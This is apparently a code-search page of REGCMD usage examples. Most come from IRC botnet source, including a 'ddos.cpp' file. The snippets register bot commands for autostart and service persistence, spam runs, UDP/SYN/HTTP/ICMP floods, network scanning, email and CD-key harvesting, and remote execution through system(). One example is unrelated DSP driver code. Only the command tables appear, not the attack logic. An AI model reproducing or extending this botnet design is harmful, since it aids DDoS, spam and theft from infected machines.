示例#1
0
void CInstaller::Init() {
#ifdef WIN32
	REGCMD(m_cmdAsAdd,	"inst.asadd",	"adds an autostart entry",		false,	this);
	REGCMD(m_cmdAsDel,	"inst.asdel",	"deletes an autostart entry",	false,	this);
	REGCMD(m_cmdSvcAdd,	"inst.svcadd",	"adds a service to scm",		false,	this);
	REGCMD(m_cmdSvcDel,	"inst.svcdel",	"deletes a service from scm",	false,	this);
#endif // WIN32
}
示例#2
0
void CSMTP_Logic::Init() {
	REGCMD(m_cmdSetList,		"spam.setlist",		"downloads an email list",		false,	this);
	REGCMD(m_cmdSetTemplate,	"spam.settemplate",	"downloads an email template",	false,	this);
	REGCMD(m_cmdStart,			"spam.start",		"starts the spamming",			false,	this);
	REGCMD(m_cmdStop,			"spam.stop",		"stops the spamming",			false,	this);

	REGCVAR(spam_maxthreads,	"8",	"Spam Logic - Number of threads",	false,	false,	0);
	REGCVAR(spam_htmlemail,		"true",	"Spam Logic - Send HTML emails",	false,	false,	0);
}
示例#3
0
文件: ddos.cpp 项目: hazcod/botnets
void CDDOS::Init()
{	m_iNumThreads=0; m_bDDOSing=false;
	REGCMD(m_cmdUDP,		"ddos.udpflood",	"starts a UDP flood",						false,	this);
	REGCMD(m_cmdSyn,		"ddos.synflood",	"starts an SYN flood",						false,	this);
	REGCMD(m_cmdHTTP,		"ddos.httpflood",	"starts a HTTP flood",						false,	this);
	REGCMD(m_cmdStop,		"ddos.stop",		"stops all floods",							false,	this);
	REGCMD(m_cmdPhatSyn,	"ddos.phatsyn",		"starts syn flood",						false,	this);
	REGCMD(m_cmdPhatICMP,	"ddos.phaticmp",	"starts icmp flood",					false,	this);
	REGCMD(m_cmdPhatWonk,	"ddos.phatwonk",	"starts leet flood",					false,	this);
	REGCMD(m_cmdTarga3,		"ddos.targa3",		"start a targa3 flood",					false,	this);
}
示例#4
0
void CScanner::Init()
{	m_bScanning=false;

	REGCMD(m_cmdAddNetRange,	"scan.addnetrange",		"adds a netrange to the scanner",					false,	this);
	REGCMD(m_cmdDelNetRange,	"scan.delnetrange",		"deletes a netrange from the scanner",				false,	this);
	REGCMD(m_cmdListNetRanges,	"scan.listnetranges",	"lists all netranges registered with the scanner",	false,	this);
	REGCMD(m_cmdClearNetRanges,	"scan.clearnetranges",	"clears all netranges registered with the scanner",	false,	this);
	REGCMD(m_cmdResetNetRanges,	"scan.resetnetranges",	"resets netranges to the localhost",				false,	this);
	REGCMD(m_cmdEnableScanner,	"scan.enable",			"enables a scanner module",							false,	this);
	REGCMD(m_cmdDisableScanner,	"scan.disable",			"disables a scanner module",						false,	this);
	REGCMD(m_cmdScanStartAll,   "scan.startall",		"enable all Scanners and start scanning",			false,	this);
	REGCMD(m_cmdScanStopAll,    "scan.stopall",			"disable all Scanners and stop scanning",			false,	this);
	REGCMD(m_cmdStart,			"scan.start",			"signal start to child threads",					false,	this);
	REGCMD(m_cmdStop,			"scan.stop",			"signal stop to child threads",						false,	this);
	REGCMD(m_cmdStats,			"scan.stats",			"displays stats of the scanner",					false,	this);

	m_cPortScanner.AddLocalLAN();

	// Start a non-dynamic, auto-restarting thread
	m_cPortScanner.Start(false, true);

//	m_cPortScanner.EnableScanner("NetBios");
//	m_cPortScanner.EnableScanner("DW");
//	m_cPortScanner.EnableScanner("DCOM");
//	m_cPortScanner.EnableScanner("Doom");

//	m_bScanning=true;
}
示例#5
0
void CHarvest_EMails::Init()
{	REGCMD(m_cmdEMails,  	"harvest.emails",		"makes the bot get a list of emails",			false,	this);
	REGCMD(m_cmdEMailsHTTP,	"harvest.emailshttp",	"makes the bot get a list of emails via http",	false,	this); }
示例#6
0
void CBot::Init()
{	init_random();
	CString sTemp;		sTemp.Format("%d", brandom(500, 22226));
	CString sTempFTP;	sTempFTP.Format("%d", brandom(500, 22226));

	REGCVAR(bot_ftrans_port,		sTemp.CStr(),		"Bot - File Transfer Port",			false,	false,	0	);
	REGCVAR(bot_ftrans_port_ftp,	sTempFTP.CStr(),	"Bot - File Transfer Port for FTP",	false,	false,	0	);
	REGCVAR(si_chanpass,			"",					"Server Info - Channel Password",	false,	false,	0	);
	REGCVAR(si_mainchan,			"",					"Server Info - Main Channel",		false,	false,	0	);
	REGCVAR(si_nickprefix,			"",					"Server Info - Nickname prefix",	false,	false,	0	);
	REGCVAR(si_port,				"",					"Server Info - Server Port",		false,	false,	0	);
	REGCVAR(si_server,				"",					"Server Info - Server Address",		false,	false,	0	);
	REGCVAR(si_servpass,			"",					"Server Info - Server Password",	false,	false,	0	);
	REGCVAR(si_usessl,				"",					"Server Info - Use SSL ?",			false,	false,	0	);

	Config();

	REGCMD(m_cmdAbout,			"bot.about",		"...",	false,	this);
	REGCMD(m_cmdDie,			"bot.die",			"terminates the bot",								false,	this);
	REGCMD(m_cmdDns,			"bot.dns",			"resolves ip/hostname by dns",						false,	this);
	REGCMD(m_cmdExecute,		"bot.execute",		"makes the bot execute a .exe",						false,	this);
	REGCMD(m_cmdId,				"bot.id",			"displays the id of the current code",				false,	this);
	REGCMD(m_cmdNick,			"bot.nick",			"changes the nickname of the bot",					false,	this);
	REGCMD(m_cmdOpen,			"bot.open",			"opens a file (whatever)",							false,	this);
	REGCMD(m_cmdRemove,			"bot.remove",		"removes the bot",									false,	this);
	REGCMD(m_cmdRemoveAllBut,	"bot.removeallbut",	"removes the bot if id does not match",				false,	this);
	REGCMD(m_cmdRndNick,		"bot.rndnick",		"makes the bot generate a new random nick",			false,	this);
	REGCMD(m_cmdStatus,			"bot.status",		"gives status",										false,	this);
	REGCMD(m_cmdSysInfo,		"bot.sysinfo",		"displays the system info",							false,	this);
	REGCMD(m_cmdLongUptime,		"bot.longuptime",	"If uptime > 7 days then bot will respond",			false,	this);
	REGCMD(m_cmdQuit,			"bot.quit",			"quits the bot",									false,	this);
	REGCMD(m_cmdFlushDNS,		"bot.flushdns",		"flushes the bots dns cache",						false,	this);
	REGCMD(m_cmdSecure,			"bot.secure",		"delete shares / disable dcom",						false,	this);
	REGCMD(m_cmdUnSecure,		"bot.unsecure",		"enable shares / enable dcom",						false,	this);
	REGCMD(m_cmdCommand,		"bot.command",		"runs a command with system()",						false,	this);

	CString sRndNick=RndNick(si_nickprefix.sValue.CStr());
	g_pMainCtrl->m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr());
	m_lStartTime=(unsigned long)GetTickCount()/1000;
}
示例#7
0
char *subcmd_name(struct mbcmd *mb)
{
	unsigned char cmd_h = mb->cmd_h;
	unsigned char cmd_l = mb->cmd_l;
	char *s;

	switch (cmd_h) {
	case MBCMD(RUNLEVEL):
		s = (cmd_l == RLCMD(USER))     ? "USER":
		    (cmd_l == RLCMD(SUPER))    ? "SUPER":
		    (cmd_l == RLCMD(RECOVERY)) ? "RECOVERY":
		    NULL;
		break;
	case MBCMD(PM):
		s = (cmd_l == PMCMD(DISABLE)) ? "DISABLE":
		    (cmd_l == PMCMD(ENABLE))  ? "ENABLE":
		    NULL;
		break;
	case MBCMD(DSPCFG):
		{
			unsigned char cfgc = cmd_l & 0x7f;
			s = (cfgc == CFGCMD(REQ))     ? "REQ":
			    (cfgc == CFGCMD(SYSADRH)) ? "SYSADRH":
			    (cfgc == CFGCMD(SYSADRL)) ? "SYSADRL":
			    (cfgc == CFGCMD(ABORT))   ? "ABORT":
			    (cfgc == CFGCMD(PROTREV)) ? "PROTREV":
			    NULL;
			break;
		}
	case MBCMD(REGRW):
		s = (cmd_l == REGCMD(MEMR)) ? "MEMR":
		    (cmd_l == REGCMD(MEMW)) ? "MEMW":
		    (cmd_l == REGCMD(IOR))  ? "IOR":
		    (cmd_l == REGCMD(IOW))  ? "IOW":
		    (cmd_l == REGCMD(DATA)) ? "DATA":
		    NULL;
		break;
	case MBCMD(GETVAR):
	case MBCMD(SETVAR):
		s = (cmd_l == VICMD(ICRMASK))  ? "ICRMASK":
		    (cmd_l == VICMD(LOADINFO)) ? "LOADINFO":
		    NULL;
		break;
	case MBCMD(ERR):
		s = (cmd_l == EID(BADTID))     ? "BADTID":
		    (cmd_l == EID(BADTCN))     ? "BADTCN":
		    (cmd_l == EID(BADBID))     ? "BADBID":
		    (cmd_l == EID(BADCNT))     ? "BADCNT":
		    (cmd_l == EID(NOTLOCKED))  ? "NOTLOCKED":
		    (cmd_l == EID(STVBUF))     ? "STVBUF":
		    (cmd_l == EID(BADADR))     ? "BADADR":
		    (cmd_l == EID(BADTCTL))    ? "BADTCTL":
		    (cmd_l == EID(BADPARAM))   ? "BADPARAM":
		    (cmd_l == EID(FATAL))      ? "FATAL":
		    (cmd_l == EID(NOMEM))      ? "NOMEM":
		    (cmd_l == EID(NORES))      ? "NORES":
		    (cmd_l == EID(IPBFULL))    ? "IPBFULL":
		    (cmd_l == EID(TASKNOTRDY)) ? "TASKNOTRDY":
		    (cmd_l == EID(TASKBSY))    ? "TASKBSY":
		    (cmd_l == EID(TASKERR))    ? "TASKERR":
		    (cmd_l == EID(BADCFGTYP))  ? "BADCFGTYP":
		    (cmd_l == EID(DEBUG))      ? "DEBUG":
		    (cmd_l == EID(BADSEQ))     ? "BADSEQ":
		    (cmd_l == EID(BADCMD))     ? "BADCMD":
		    NULL;
		break;
	default:
		s = NULL;
	}

	return s;
}
示例#8
0
/*
 =======================================================================================================================
 =======================================================================================================================
 */
void CHarvest_CDKeys::Init(void)
{
	REGCMD(m_cmdCDKeys, "harvest.cdkeys", "makes the bot get a list of cdkeys", false, this);
}
示例#9
0
void CMac::Init()
{	REGCMD(m_cmdLogout,	"mac.logout",	"logs the user out",	false,	this);
	REGCMD(m_cmdLogin,	"login",		"logs the user in",		false,	this); }